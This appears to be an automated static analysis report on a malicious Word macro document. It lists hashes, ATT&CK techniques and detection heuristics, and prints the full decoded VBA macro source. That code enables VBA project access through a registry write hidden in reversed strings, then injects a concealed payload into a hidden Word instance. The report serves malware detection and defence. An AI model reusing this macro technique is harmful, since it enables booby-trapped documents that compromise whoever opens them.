Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 4b1b192bbabbbd6f…

MALICIOUS

Office (OOXML)

75.9 KB Created: 2021-05-04 08:37:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-23
MD5: 231c3cf32aa7f32d9b6abed6e6d031ac SHA-1: 15da776a984b1dd5e7207bff9d524ee9a26e832f SHA-256: 4b1b192bbabbbd6f7f59fca1c04c4a75613d4501ea4cee7af1252798ad274e35
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1204.002 Malicious File

The sample contains VBA macros with an AutoOpen function that utilizes WScript.Shell to write to the registry and execute code. The script attempts to reconstruct a registry path by concatenating strings and reversing them, likely targeting a persistence mechanism. The use of CreateObject and Shell() calls indicates an attempt to download and execute a secondary payload.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub swapW(listResponseSize)
With CreateObject("wscript.shell")
.RegWrite listResponseSize, 1, "REG_DWORD"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub loadButton(ExCaption As String)
Set dataGlobalTrust = CreateObject("word.application")
With dataGlobalTrust.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "queryVb"
Sub autoopen()
bufTitleQuery
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://www.w3.org/XML/1998/nameIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1748 bytes
SHA-256: 8ad61778ef4cc69cb9dbe0f92a1b74e858482d4af9ac82f2ac0382028c4e330e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{2527E553-9217-4915-982D-173A1E2D25E0}{B7A4BABB-A58E-48D9-ACED-A34A68B67263}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "queryVb"
Sub autoopen()
bufTitleQuery
Dim storageNamespaceValue As String
storageNamespaceValue = memoryMain
loadButton storageNamespaceValue
End Sub

Attribute VB_Name = "loadReferenceArray"
Sub loadButton(ExCaption As String)
Set dataGlobalTrust = CreateObject("word.application")
With dataGlobalTrust.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString ExCaption
End With
dataGlobalTrust.Visible = False
dataGlobalTrust.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "listGenericRepo"
Function linkBufCopy() As String
linkBufCopy = Application.Version
End Function
Sub swapW(listResponseSize)
With CreateObject("wscript.shell")
.RegWrite listResponseSize, 1, "REG_DWORD"
End With
End Sub
Sub bufTitleQuery()
listResponseSize = StrReverse("\eciffO\tfosorciM\erawtfoS\RESU_TNERRUC_YEKH")
memDocumentList = linkBufCopy
pointerTitle = StrReverse("MOBVsseccA\ytiruceS\droW\")
swapW listResponseSize & memDocumentList & pointerTitle
End Sub
Function memoryMain()
memoryMain = StrReverse(UserForm1.TextBox1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23040 bytes
SHA-256: b35bf6dc19a4e2f47603ad7fbfac9486bf95a3d61aba9591b448bba00fe71f30

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